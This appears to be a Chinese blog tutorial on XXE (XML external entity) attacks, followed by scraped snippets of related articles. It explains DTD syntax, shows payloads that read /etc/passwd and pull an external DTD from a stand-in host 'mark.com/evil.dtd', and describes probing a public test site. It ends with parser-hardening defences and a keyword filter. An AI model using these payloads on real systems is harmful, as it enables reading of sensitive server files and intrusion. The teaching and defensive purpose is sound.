XXE攻击

1.背景

现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的。

2.xml的定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。两个采用不同技术的系统可以通过XML进行通信和交换数据。

例如:

<?xml version=‘1.0‘?>
<student>
<name>lihua</name>
<stuNumber>123456789</stuNumber>
<address>广东</address>
</student>

  • 内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

  • 引用外部DTD
  1. <!DOCTYPE 根元素 SYSTEM "文件名">
  2. <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

  • 内部声明实体

    <!ENTITY 实体名称 "实体的值">

  • 引用外部实体

    1.<!ENTITY 实体名称 SYSTEM "URI">

    2.<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

3.XML外部实体注入(XML External Entity)

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引入外部实体的方式

方式一:

<?xml version=‘1.0‘?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
?

方式二:

<?xml version=‘1.0‘?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://mark.com/evil.dtd">
    %d;
]>
DTD文件内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

方式三:

<?xml version=‘1.0‘ encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY a SYSTEM "http://mark.com/evil.dtd">
]>
dtd文档内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

4.什么是xml实体攻击

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

5.怎么甄别一个XML实体攻击漏洞?

通过抓包,修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

6.如何确认XXE漏洞?

通过访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’

请求包:

响应:

观察以上请求和响应,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。

自定义xml外部实体测试,请求和响应,定义了一个名为myentity、值为’testing’的实体。响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了,可确认存在XXE漏洞

7.防御XXE攻击

方法一:使用开发语言提供的禁用外部实体的方法

PHP:



libxml_disable_entity_loader(true);

JAVA:



DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

Python:



from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方法二:过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

原文地址:https://www.cnblogs.com/linwx/p/8137615.html

时间: 2024-11-05 14:48:25

XXE攻击的相关文章

XML External Entity attack/XXE攻击

XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存储数据.XML应用极其广泛,如: * 普通列表项目文档格式:OOXML,ODF,PDF,RSS…… * 图片格式:SVG,EXIF Headers…… * 网络协议:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML…… * 配置文件:Spring配置文件,St

神奇的Content-Type--在JSON中玩转XXE攻击

转自:360安全播报http://bobao.360.cn/learning/detail/360.html 大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式.如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击.

php xxe 攻击

php entites: 预定义的:&<% 一般实体:<!ENTITY general "hello">,调用方式:在<a>&general;</a>,不能包含在属性中. 参数实体:<!ENTITY % param "world">,调用方式,立即使用:%param; 一般实体和参数实体都能包含内部资源(DTD) 和外部资源 危害: (1)本地文件读取 <?xml version="

XXE攻击学习

环境:lAMP simplexml_load_string.php代码内容 <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?> POC: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT n

XXE (XML External Entity Injection) :XML外部实体注入

XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入 0x02 XXE利用 *简单文件读取 XMLInject.php <?php # Enable the ability to load external entities libxml_disable_entity_loader (false); $xmlfile = file_g

XXE漏洞攻防

一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块.DTD 可以在 XML 文档内声明,也可以外部引用. 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 根元素 SYSTEM "文件名">

XXE漏洞以及Blind XXE总结

 转载请注明出处:http://blog.csdn.net/u011721501 0.前言 XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞.目前来看,XML文件作为配置文件(Spring.Struts2等).文档结构说明文件(PDF.RSS等).图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞: http://www.wooyun.or

XXE攻防——XML外部实体注入

XXE攻防——XML外部实体注入 转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块.DTD 可以在 XML 文档内声明,也可以外部引用. 内部声明DTD <!DOCTYPE 根元素 [元素声明]> 引用外部DTD <!DOCTYPE 

浅谈XXE

转自FReeBUF 0×00. 介绍 现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook.paypal等等. 举个例子,我们扫一眼这些网站最近奖励的漏洞,充分证实了前面的说法.尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度.很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响. 本文主要讨论什么是XML外部实体,这些外部实体是如何被攻击的. 0×01. 什